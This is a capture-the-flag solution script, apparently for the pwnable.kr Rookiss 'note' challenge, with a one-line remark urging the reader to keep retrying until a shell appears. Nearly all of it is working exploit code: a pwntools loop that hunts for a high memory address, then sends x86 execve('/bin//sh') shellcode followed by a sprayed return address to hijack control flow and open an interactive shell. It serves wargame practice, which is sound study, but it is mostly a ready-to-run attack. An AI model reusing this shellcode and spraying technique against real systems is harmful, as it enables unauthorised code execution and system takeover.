This may cost more than one minute, and may fail at the end. Keep trying, you'll get the shell XD

pwnable-rookiss-note.py

#!/usr/bin/env python
# coding=utf8

from pwn import p32, process, remote

# p = process('./note')
p = remote('0', 9019)
shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x90'

print '[*] Receiving welcome message...'
p.recvuntil(':)')
print '[*] Cracking started, wish you luck.'

while True:
    p.sendline('1')
    p.recvuntil('[')
    addr = p.recv(8)
    addr = int(addr, 16)
    if addr > 0xfff00000:
        print hex(addr)
        p.clean()
        break
    else:
        p.sendline('4')
        p.sendline('0')

p.sendline('2')
p.sendline('0')
p.sendline(shellcode + p32(addr) * (4096*3/4))

p.sendline('5')
p.clean()
p.interactive()